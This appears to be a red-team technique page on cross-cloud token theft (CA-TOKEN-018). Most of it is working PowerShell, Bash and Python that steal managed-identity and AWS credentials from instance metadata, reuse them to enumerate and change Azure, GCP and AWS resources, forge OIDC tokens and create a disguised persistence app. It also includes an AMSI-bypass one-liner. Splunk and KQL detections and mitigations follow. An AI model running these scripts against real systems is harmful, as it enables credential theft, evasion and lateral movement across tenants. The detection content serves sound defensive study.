| Attribute | Details |
|---|---|
| Technique ID | CA-TOKEN-018 |
| MITRE ATT&CK v18.1 | Steal Application Access Token (T1528) |
| Tactic | Credential Access |
| Platforms | Cross-Cloud (Azure, AWS, GCP, Okta, Ping, etc.) |
| Severity | Critical |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-08 |
| Affected Versions | All cloud providers (AWS, Azure, GCP), OIDC/SAML implementations |
| Patched In | Mitigation via token validation and Workload Identity Federation |
| Author | SERVTEP – Artur Pchelnikau |
Note: Sections 4 (Environmental Reconnaissance) and 6 (Atomic Red Team) not included because: (1) Cross-cloud reconnaissance is implicit in method execution; (2) Atomic tests for federated token attacks are limited in public libraries. All section numbers have been dynamically renumbered based on applicability.
Concept: Cloud-to-cloud token compromise exploits the trust relationships and token exchange mechanisms between multiple cloud service providers (Azure, AWS, GCP) and identity federation platforms (Okta, Ping, ADFS, Entra ID). An attacker who gains access to an identity provider (IdP), a cloud compute resource, or a CI/CD pipeline can steal or forge federated identity tokens (OIDC JWT tokens, SAML assertions, AWS SigV4 signatures, or Workload Identity Federation tokens) to move laterally across clouds without proper authorization. This enables cross-cloud lateral movement, privilege escalation, and access to resources in multiple environments using a single compromised credential.
Attack Surface:
Business Impact: Complete compromise of multi-cloud infrastructure. An attacker with stolen cross-cloud federation tokens can:
Technical Context: Cloud-to-cloud token compromise typically occurs post-exploitation (after accessing a cloud VM, pipeline runner, or IdP) and has very low detection likelihood because token usage appears legitimate to individual cloud providers. The attacker’s activity in Azure looks like legitimate Azure usage; activity in AWS looks legitimate to AWS. No single cloud provider sees the anomalous cross-cloud pattern without centralized monitoring. Reversibility is extremely difficult—once a Workload Identity Federation or OIDC trust relationship is compromised, it provides persistent cross-cloud access until the federation is rebuilt.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS 1.14, 2.1.4 | Ensure federated identity providers are hardened; control IAM trust relationships |
| DISA STIG | SI-12 | Information Handling and Retention; audit log monitoring for cross-system access |
| CISA SCuBA | ID.RA-3 | Risk assessment of third-party federation providers |
| NIST 800-53 | AC-5, SC-7 | Access control; boundary protection for federated connections |
| GDPR | Art. 32 | Security of Processing; control over third-party IdP access |
| DORA | Art. 9 | Protection against identity-based attacks in third-party relationships |
| NIS2 | Art. 21 | Cyber Risk Management across interconnected cloud systems |
| ISO 27001 | A.8.3, A.9.2.3 | Third-party identity management; privileged access control |
| ISO 27005 | Risk Scenario: “Compromise of Federation Trust” | Cross-cloud lateral movement risk |
Required Privileges:
Required Access:
Supported Versions:
Tools:
Supported Versions: Azure VMs with Managed Identities (all versions), GCP Workload Identity Federation (all versions)
Objective: Extract JWT token from Azure Instance Metadata Service (IMDS) on a compromised Azure VM.
Command (PowerShell on Azure VM):
# Query Azure IMDS for managed identity token
# IMDS is available at 169.254.169.254 (metadata service)
$tokenEndpoint = "http://169.254.169.254/metadata/identity/oauth2/token"
$resourceUrl = "https://management.azure.com"
# API version 2017-09-01 (older, less logging)
$params = @{
Uri = "$tokenEndpoint?api-version=2017-09-01&resource=$resourceUrl"
Headers = @{ "Metadata" = "true" }
Method = "Get"
}
try {
$response = Invoke-WebRequest @params -UseBasicParsing
$token = ($response.Content | ConvertFrom-Json).access_token
Write-Host "[+] Successfully obtained Azure managed identity token" -ForegroundColor Green
Write-Host "[+] Token (truncated): $($token.Substring(0, 50))..." -ForegroundColor Yellow
# Save token to variable for reuse
$env:AZURE_TOKEN = $token
}
catch {
Write-Host "[-] Failed to obtain token: $_" -ForegroundColor Red
}
Command (Bash on Azure VM):
# Query IMDS endpoint for token
TOKEN_ENDPOINT="http://169.254.169.254/metadata/identity/oauth2/token"
RESOURCE_URL="https://management.azure.com"
# API version 2017-09-01
TOKEN=$(curl -s -H "Metadata:true" \
"$TOKEN_ENDPOINT?api-version=2017-09-01&resource=$RESOURCE_URL" | jq -r '.access_token')
if [ ! -z "$TOKEN" ]; then
echo "[+] Successfully obtained Azure token"
echo "[+] Token (first 50 chars): ${TOKEN:0:50}..."
export AZURE_TOKEN=$TOKEN
else
echo "[-] Failed to obtain token"
fi
Expected Output:
[+] Successfully obtained Azure managed identity token
[+] Token (truncated): eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Ijk...
What This Means:
OpSec & Evasion:
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)Troubleshooting:
$principalId = (Get-AzVM -ResourceGroupName "RG" -Name "VMName" | Select-Object -ExpandProperty Identity).PrincipalId
New-AzRoleAssignment -ObjectId $principalId -RoleDefinitionName "Reader" -Scope "/subscriptions/SUBSCRIPTION_ID"
Objective: Understand token permissions and validity period.
Command (PowerShell):
# Decode JWT token to view claims
$token = $env:AZURE_TOKEN
# JWT format: header.payload.signature
$parts = $token.Split('.')
$payload = $parts[1]
# Add padding if needed for Base64 decoding
$payloadPadded = $payload + "=" * (4 - $payload.Length % 4)
$decodedBytes = [Convert]::FromBase64String($payloadPadded)
$decodedPayload = [System.Text.Encoding]::UTF8.GetString($decodedBytes)
$claims = $decodedPayload | ConvertFrom-Json
Write-Host "[+] JWT Token Claims:" -ForegroundColor Green
Write-Host " App ID (aud): $($claims.aud)"
Write-Host " User ID (sub): $($claims.sub)"
Write-Host " Tenant ID (tid): $($claims.tid)"
Write-Host " Issued At (iat): $(Get-Date -UnixTimeSeconds $claims.iat -Format 'yyyy-MM-dd HH:mm:ss')"
Write-Host " Expires (exp): $(Get-Date -UnixTimeSeconds $claims.exp -Format 'yyyy-MM-dd HH:mm:ss')"
Write-Host " Token Lifetime: $($claims.exp - $claims.iat) seconds"
Command (Python):
import jwt
import json
from datetime import datetime
token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Ijk..."
# Decode without verification (for viewing claims only)
try:
decoded = jwt.decode(token, options={"verify_signature": False})
print("[+] JWT Token Claims:")
print(f" App ID (aud): {decoded.get('aud')}")
print(f" User ID (sub): {decoded.get('sub')}")
print(f" Tenant ID (tid): {decoded.get('tid')}")
print(f" Issued At (iat): {datetime.fromtimestamp(decoded.get('iat'))}")
print(f" Expires (exp): {datetime.fromtimestamp(decoded.get('exp'))}")
print(f" Token Lifetime: {decoded.get('exp') - decoded.get('iat')} seconds")
except Exception as e:
print(f"[-] Error decoding token: {e}")
Expected Output:
[+] JWT Token Claims:
App ID (aud): https://management.azure.com
User ID (sub): /subscriptions/12345678-1234-1234-1234-123456789012/resourcegroups/mygroup/providers/microsoft.managedidentity/userassignedidentities/myidentity
Tenant ID (tid): 3a1c3f47-5a3c-4b2d-8e9c-1a2b3c4d5e6f
Issued At (iat): 2026-01-08 10:30:00
Expires (exp): 2026-01-08 11:30:00
Token Lifetime: 3600 seconds
What This Means:
Objective: Use the stolen token to query and modify Azure resources (lateral movement).
Command (PowerShell):
$token = $env:AZURE_TOKEN
# Prepare authorization header
$headers = @{
"Authorization" = "Bearer $token"
"Content-Type" = "application/json"
}
# Query available subscriptions
$subscriptionsUrl = "https://management.azure.com/subscriptions?api-version=2020-01-01"
Write-Host "[+] Querying Azure subscriptions..." -ForegroundColor Yellow
try {
$response = Invoke-WebRequest -Uri $subscriptionsUrl -Headers $headers -UseBasicParsing
$subscriptions = ($response.Content | ConvertFrom-Json).value
Write-Host "[+] Available subscriptions:" -ForegroundColor Green
foreach ($sub in $subscriptions) {
Write-Host " Subscription: $($sub.displayName) (ID: $($sub.subscriptionId))" -ForegroundColor Green
}
}
catch {
Write-Host "[-] Error querying subscriptions: $_" -ForegroundColor Red
}
# List virtual machines in subscription
$subscriptionId = $subscriptions[0].subscriptionId
$vmsUrl = "https://management.azure.com/subscriptions/$subscriptionId/providers/Microsoft.Compute/virtualMachines?api-version=2021-03-01"
Write-Host "`n[+] Querying virtual machines..." -ForegroundColor Yellow
try {
$response = Invoke-WebRequest -Uri $vmsUrl -Headers $headers -UseBasicParsing
$vms = ($response.Content | ConvertFrom-Json).value
Write-Host "[+] Available VMs:" -ForegroundColor Green
foreach ($vm in $vms) {
Write-Host " VM: $($vm.name) (ID: $($vm.id))" -ForegroundColor Green
}
}
catch {
Write-Host "[-] Error querying VMs: $_" -ForegroundColor Red
}
# Create rogue app registration for persistence (requires higher privileges)
$appRegUrl = "https://graph.microsoft.com/v1.0/applications"
$appPayload = @{
displayName = "Microsoft Update Service"
signInAudience = "AzureADMultipleOrgs"
} | ConvertTo-Json
Write-Host "`n[+] Attempting to create app registration (persistence)..." -ForegroundColor Yellow
try {
$response = Invoke-WebRequest -Uri $appRegUrl -Method POST -Headers $headers -Body $appPayload -UseBasicParsing
Write-Host "[+] App registration created successfully" -ForegroundColor Green
}
catch {
Write-Host "[-] App registration failed (may require higher privileges): $_" -ForegroundColor Red
}
Expected Output:
[+] Querying Azure subscriptions...
[+] Available subscriptions:
Subscription: Production (ID: 12345678-1234-1234-1234-123456789012)
Subscription: Development (ID: 87654321-4321-4321-4321-210987654321)
[+] Querying virtual machines...
[+] Available VMs:
VM: prod-db-server (ID: /subscriptions/12345678-1234-1234-1234-123456789012/resourceGroups/prod-rg/providers/Microsoft.Compute/virtualMachines/prod-db-server)
VM: dev-web-app (ID: /subscriptions/12345678-1234-1234-1234-123456789012/resourceGroups/dev-rg/providers/Microsoft.Compute/virtualMachines/dev-web-app)
Supported Versions: Azure VMs/App Services with managed identities + GCP Workload Identity Federation
Objective: Get an OIDC-compliant JWT token from Azure that can be exchanged for GCP access.
Command (PowerShell on Azure VM):
# Query Azure IMDS for OIDC token (specifically formatted for GCP)
$tokenEndpoint = "http://169.254.169.254/metadata/identity/oauth2/token"
# Request token with api-version 2019-08-01 (supports OIDC)
$uri = "$tokenEndpoint?api-version=2019-08-01&resource=https://iam.googleapis.com/google.iam.credentials.v1"
try {
$response = Invoke-WebRequest -Uri $uri -Headers @{"Metadata" = "true"} -UseBasicParsing
$token = ($response.Content | ConvertFrom-Json).access_token
Write-Host "[+] Obtained Azure OIDC token for GCP" -ForegroundColor Green
$env:AZURE_OIDC_TOKEN = $token
}
catch {
Write-Host "[-] Failed to obtain OIDC token: $_" -ForegroundColor Red
}
Objective: Trade the Azure OIDC token for a GCP access token using Workload Identity Federation.
Command (PowerShell):
$azureToken = $env:AZURE_OIDC_TOKEN
# GCP Workload Identity Federation endpoint
# Format: https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/SERVICE_ACCOUNT_EMAIL/generateAccessToken
# Or use the token exchange endpoint
$gcpWorkloadIdentityProvider = "https://iam.googleapis.com/projects/PROJECT_NUMBER/locations/global/workloadIdentityPools/POOL_ID/providers/PROVIDER_ID"
$gcpServiceAccount = "WORKLOAD_SERVICE_ACCOUNT@PROJECT_ID.iam.gserviceaccount.com"
# Step 1: Exchange token (STS endpoint)
$stsEndpoint = "https://sts.googleapis.com/v1/token"
$stsPayload = @{
grant_type = "urn:ietf:params:oauth:grant-type:token-exchange"
audience = $gcpWorkloadIdentityProvider
requested_token_type = "urn:ietf:params:oauth:token-type:access_token"
subject_token = $azureToken
subject_token_type = "urn:ietf:params:oauth:token-type:jwt"
} | ConvertTo-Json
try {
$response = Invoke-WebRequest -Uri $stsEndpoint -Method POST -Body $stsPayload -ContentType "application/json" -UseBasicParsing
$gcpToken = ($response.Content | ConvertFrom-Json).access_token
Write-Host "[+] Successfully exchanged Azure token for GCP access token" -ForegroundColor Green
Write-Host "[+] GCP Token (truncated): $($gcpToken.Substring(0, 50))..." -ForegroundColor Yellow
$env:GCP_TOKEN = $gcpToken
}
catch {
Write-Host "[-] Token exchange failed: $_" -ForegroundColor Red
}
Objective: Query and potentially modify GCP resources using the stolen cross-cloud token.
Command (PowerShell):
$gcpToken = $env:GCP_TOKEN
$projectId = "YOUR_GCP_PROJECT_ID"
$headers = @{
"Authorization" = "Bearer $gcpToken"
}
# List GCP storage buckets
$bucketsUrl = "https://storage.googleapis.com/storage/v1/b?project=$projectId"
Write-Host "[+] Querying GCP storage buckets..." -ForegroundColor Yellow
try {
$response = Invoke-WebRequest -Uri $bucketsUrl -Headers $headers -UseBasicParsing
$buckets = ($response.Content | ConvertFrom-Json).items
Write-Host "[+] Available buckets:" -ForegroundColor Green
foreach ($bucket in $buckets) {
Write-Host " Bucket: $($bucket.name) (Size: $($bucket.storageClass))" -ForegroundColor Green
}
}
catch {
Write-Host "[-] Error querying buckets: $_" -ForegroundColor Red
}
# List GCP compute instances
$instancesUrl = "https://compute.googleapis.com/compute/v1/projects/$projectId/global/instances"
Write-Host "`n[+] Querying GCP compute instances..." -ForegroundColor Yellow
try {
$response = Invoke-WebRequest -Uri $instancesUrl -Headers $headers -UseBasicParsing
$instances = ($response.Content | ConvertFrom-Json).items
Write-Host "[+] Available instances:" -ForegroundColor Green
foreach ($instance in $instances) {
Write-Host " Instance: $($instance.name) (Zone: $($instance.zone))" -ForegroundColor Green
}
}
catch {
Write-Host "[-] Error querying instances: $_" -ForegroundColor Red
}
Supported Versions: GCP Workload Identity Federation with OIDC providers (all versions)
Objective: Compromise an external OIDC provider (GitHub, GitLab, Okta, or custom provider) to forge tokens.
Command (PowerShell - Simulated Attack):
# In a real attack, this involves compromising the IdP's signing keys
# For this example, we'll demonstrate how misconfigured attribute conditions can be bypassed
# Attacker's goal: Create a forged OIDC token that passes GCP's attribute conditions
# Step 1: Query the GCP Workload Identity configuration (if discoverable)
$gcpWorkloadConfig = @{
workload_identity_provider = "projects/123456789/locations/global/workloadIdentityPools/my-pool/providers/github-provider"
service_account_email = "my-service-account@my-project.iam.gserviceaccount.com"
attribute_mapping = @{
"google.subject" = "assertion.sub"
"attribute.repository" = "assertion.repository_owner"
"attribute.environment" = "assertion.environment"
}
attribute_condition = "assertion.aud == 'my-project' && assertion.repository_owner == 'myorg'"
}
# Step 2: Forge OIDC token with correct attributes
# If the attribute_condition is weak, attacker can forge a token that passes the check
$forgedPayload = @{
iss = "https://token.actions.githubusercontent.com"
sub = "repo:attacker/repo:ref:refs/heads/main"
aud = "my-project" # Matches the condition
iat = [int](Get-Date -UFormat %s)
exp = [int](Get-Date -UFormat %s) + 3600
repository_owner = "myorg" # Matches the condition (if overly permissive)
environment = "production"
} | ConvertTo-Json
Write-Host "[+] Forged OIDC token payload:" -ForegroundColor Yellow
Write-Host $forgedPayload
Objective: Use the forged token to exchange for a GCP access token.
Command (PowerShell):
# In a real attack, the forged token would be signed with a stolen private key
# Here we show the exchange process
$forgedToken = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJodHRwczovL3Rva2VuLmFjdGlvbnMuZ2l0aHVidXNlcmNvbnRlbnQuY29tIiwic3ViIjoicmVwbzphdHRhY2tlci9yZXBvOnJlZjpyZWZzL2hlYWRzL21haW4iLCJhdWQiOiJteS1wcm9qZWN0In0.SIGNATURE"
$stsEndpoint = "https://sts.googleapis.com/v1/token"
$stsPayload = @{
grant_type = "urn:ietf:params:oauth:grant-type:token-exchange"
audience = "projects/123456789/locations/global/workloadIdentityPools/my-pool/providers/github-provider"
requested_token_type = "urn:ietf:params:oauth:token-type:access_token"
subject_token = $forgedToken
subject_token_type = "urn:x-oath:params:oauth:token-type:id_token"
}
try {
$response = Invoke-WebRequest -Uri $stsEndpoint -Method POST -Body ($stsPayload | ConvertTo-Json) -ContentType "application/json" -UseBasicParsing
$gcpAccessToken = ($response.Content | ConvertFrom-Json).access_token
Write-Host "[+] Successfully obtained GCP access token via forged OIDC token" -ForegroundColor Green
Write-Host "[+] This demonstrates the risk of weak attribute conditions in Workload Identity Federation" -ForegroundColor Yellow
}
catch {
Write-Host "[-] Token exchange failed: $_" -ForegroundColor Red
}
Supported Versions: AWS Lambda (all versions), EC2 with IAM roles, ECS tasks
Objective: Steal temporary AWS credentials from a compromised Lambda function’s environment.
Command (Python in Lambda):
import os
import json
import boto3
from urllib.request import urlopen
# Method 1: Extract credentials from environment variables (if using legacy credentials)
aws_access_key = os.environ.get('AWS_ACCESS_KEY_ID')
aws_secret_key = os.environ.get('AWS_SECRET_ACCESS_KEY')
aws_session_token = os.environ.get('AWS_SESSION_TOKEN')
print("[+] AWS Credentials from Lambda environment:")
print(f" Access Key: {aws_access_key}")
print(f" Secret Key: {aws_secret_key[:20]}...")
print(f" Session Token: {aws_session_token[:50]}..." if aws_session_token else " No session token")
# Method 2: Query IMDSv2 for temporary credentials (more modern approach)
imds_token_url = "http://169.254.169.254/latest/api/token"
imds_creds_url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
try:
# Get IMDSv2 token
imds_token_response = urlopen(imds_token_url, data=b"",
headers={"X-aws-ec2-metadata-token-ttl-seconds": "21600"})
imds_token = imds_token_response.read().decode('utf-8')
# Query role name
role_response = urlopen(imds_creds_url,
headers={"X-aws-ec2-metadata-token": imds_token})
role_name = role_response.read().decode('utf-8').split('\n')[0]
# Get credentials for role
creds_response = urlopen(f"{imds_creds_url}{role_name}",
headers={"X-aws-ec2-metadata-token": imds_token})
creds_data = json.loads(creds_response.read().decode('utf-8'))
print("[+] AWS Credentials from IMDSv2:")
print(f" Access Key: {creds_data['AccessKeyId']}")
print(f" Secret Key: {creds_data['SecretAccessKey'][:20]}...")
print(f" Session Token: {creds_data['Token'][:50]}...")
print(f" Expiration: {creds_data['Expiration']}")
except Exception as e:
print(f"[-] Failed to retrieve credentials: {e}")
Objective: Use stolen Lambda credentials to move laterally to other AWS accounts.
Command (Python):
import boto3
import json
# Use stolen credentials
aws_access_key = "ASIAJ..." # Stolen key
aws_secret_key = "..." # Stolen secret
aws_session_token = "..." # Stolen token
# Create STS client with stolen credentials
sts = boto3.client(
'sts',
aws_access_key_id=aws_access_key,
aws_secret_access_key=aws_secret_key,
aws_session_token=aws_session_token
)
# List available role ARNs (attacker would discover these via initial recon)
role_arn = "arn:aws:iam::111111111111:role/CrossAccountAdminRole" # Target account
# Assume the cross-account role
try:
assumed_role_response = sts.assume_role(
RoleArn=role_arn,
RoleSessionName="SecurityAudit",
DurationSeconds=3600
)
print("[+] Successfully assumed cross-account role")
print("[+] New credentials obtained:")
new_access_key = assumed_role_response['Credentials']['AccessKeyId']
new_secret_key = assumed_role_response['Credentials']['SecretAccessKey']
new_session_token = assumed_role_response['Credentials']['SessionToken']
print(f" Access Key: {new_access_key}")
print(f" Expires: {assumed_role_response['Credentials']['Expiration']}")
# Create S3 client with new credentials to access target account
s3 = boto3.client(
's3',
aws_access_key_id=new_access_key,
aws_secret_access_key=new_secret_key,
aws_session_token=new_session_token
)
# List S3 buckets in target account
buckets = s3.list_buckets()
print(f"\n[+] S3 Buckets in target account ({len(buckets['Buckets'])} found):")
for bucket in buckets['Buckets']:
print(f" - {bucket['Name']}")
except Exception as e:
print(f"[-] AssumeRole failed: {e}")
Version: 2.0+
Minimum Version: 1.18
Supported Platforms: Windows, macOS, Linux
Installation:
# macOS / Linux
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
unzip awscliv2.zip
sudo ./aws/install
# Windows (Chocolatey)
choco install awscli
# Windows (Direct)
# Download: https://awscli.amazonaws.com/AWSCLIV2MSIInstaller.zip
Usage:
# Configure with stolen credentials
aws configure set aws_access_key_id "ASIAJ..."
aws configure set aws_secret_access_key "..."
aws configure set aws_session_token "..."
# List S3 buckets
aws s3 ls
# List EC2 instances
aws ec2 describe-instances
# Assume cross-account role
aws sts assume-role --role-arn arn:aws:iam::123456789:role/RoleName --role-session-name SessionName
Version: 450+
Supported Platforms: Windows, macOS, Linux
Installation:
# macOS
brew install google-cloud-sdk
# Linux
curl https://sdk.cloud.google.com | bash
# Windows
# Download: https://cloud.google.com/sdk/docs/install-sdk
Usage:
# Configure with stolen GCP token
gcloud config set access_token "ya29..."
# List compute instances
gcloud compute instances list
# List GCS buckets
gcloud storage buckets list
# Authenticate with service account
gcloud auth activate-service-account --key-file=key.json
Version: 2.40+
Supported Platforms: Windows, macOS, Linux
Usage:
# Login with stolen token
az login --use-device-code
# Or directly set token
az account set --subscription "SUBSCRIPTION_ID"
# List subscriptions
az account list
# List VMs
az vm list --output table
# List Key Vaults
az keyvault list
For decoding and analyzing JWT tokens
Installation:
pip install pyjwt
Usage:
import jwt
token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9..."
decoded = jwt.decode(token, options={"verify_signature": False})
print(decoded)
Rule Configuration:
azure_activity, aws_cloudtrail, gcp_activityAzureOperationalLog, aws:cloudtrail, gcp:activitytimestamp, principal_id, resource_type, action, cloud_providerSPL Query:
index=azure_activity OR index=aws_cloudtrail OR index=gcp_activity
| rename UserPrincipalName as principal, source as cloud_provider
| stats count, dc(cloud_provider), values(action) as actions by principal, src_ip
| where dc(cloud_provider) > 1 AND count > 3
| table principal, src_ip, cloud_provider, count, actions
What This Detects:
Rule Configuration:
azure_activityAzureOperationalLogOperationName, TargetResources, InitiatedBySPL Query:
index=azure_activity OperationName="*token*" OR OperationName="*workload*"
| search OperationName IN ("Create Workload", "Update Workload", "Exchange Token")
| table TimeGenerated, InitiatedBy, OperationName, TargetResources
| where NOT InitiatedBy IN ("Microsoft.Internal", "System")
What This Detects:
Rule Configuration:
SigninLogs, CloudAppEvents, AADServicePrincipalSignInActivityKQL Query:
// Detect principals accessing multiple clouds in succession
SigninLogs
| where TimeGenerated > ago(5m)
| extend CloudProvider = case(
ResourceDisplayName contains "Azure" , "Azure",
ResourceDisplayName contains "AWS", "AWS",
ResourceDisplayName contains "GCP", "GCP",
ResourceDisplayName contains "Google", "GCP",
"Other"
)
| where CloudProvider in ("Azure", "AWS", "GCP")
| summarize CloudCount = dcount(CloudProvider), ResourceList = make_list(ResourceDisplayName), LastTime = max(TimeGenerated) by UserPrincipalName, IPAddress
| where CloudCount > 1
| project UserPrincipalName, IPAddress, CloudCount, ResourceList, LastTime
Manual Configuration (Azure Portal):
Event ID: 4624 (Successful Logon) + 4768 (Kerberos TGT Requested)
LogonType == 3 AND TargetUserName contains "managed_identity" OR TargetUserName contains "service_account"Manual Configuration:
# Enable Kerberos protocol audit for token validation
auditpol /set /subcategory:"Kerberos Service Ticket Operations" /success:enable /failure:enable
# Monitor for unusual token attributes
Get-WinEvent -LogName Security -FilterXPath "*[System[EventID=4768]]" | Where-Object {
($_.Properties[13] -like "*Azure*" -or $_.Properties[13] -like "*GCP*") -and
($_.Properties[5] -notlike "CORP.LOCAL")
}
Manual Steps (Azure Portal):
Block Cross-Cloud Token ExchangeManual Steps (Azure ADFS):
Manual Steps (GCP):
assertion.sub.startsWith('repo:myorg/myrepo:')
&& assertion.aud == 'projects/123456789'
Manual Steps (Azure):
Manual Steps (Azure):
# Set token lifetime to 1 hour
Set-AzureADPolicy -Definition @('{"TokenLifetimePolicy":{"Version":1,"AccessTokenLifetime":"01:00:00"}}')
# Check Azure token lifetime
az account show --query "tokenCache"
# Check AWS STS assumed role session duration
aws sts assume-role --role-arn arn:aws:iam::123456789:role/RoleName --role-session-name TestSession --duration-seconds 900 | grep -i expiration
# Check GCP service account token expiration
gcloud auth print-access-token | jwt decode
169.254.169.254:80 (IMDS) from unexpected sourcessts.googleapis.com, sts.windows.net, sts.aws.amazon.com in rapid successionGetCallerIdentity AWS API calls from unusual IPgenerateIdToken or generateAccessToken calls with cross-account service accountsAuditLogs, SigninLogs for token exchange operationssts:AssumeRole, sts:GetCallerIdentityImmediate (0-1 hour):
Short-term (1-8 hours):
Long-term (8+ hours):
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | IA-PHISH-001 | Phish developer for Azure/AWS credentials |
| 2 | Execution | CA-DUMP-001 | Dump LSASS to extract cached tokens |
| 3 | Credential Access | [CA-TOKEN-018] | Cloud-to-Cloud Token Compromise |
| 4 | Lateral Movement | CA-TOKEN-019 | Use Azure token to assume AWS role |
| 5 | Privilege Escalation | PE-POLICY-003 | Escalate to Management Group admin |
| 6 | Impact | Ransomware deployment across clouds | Deploy malware to Azure, AWS, GCP simultaneously |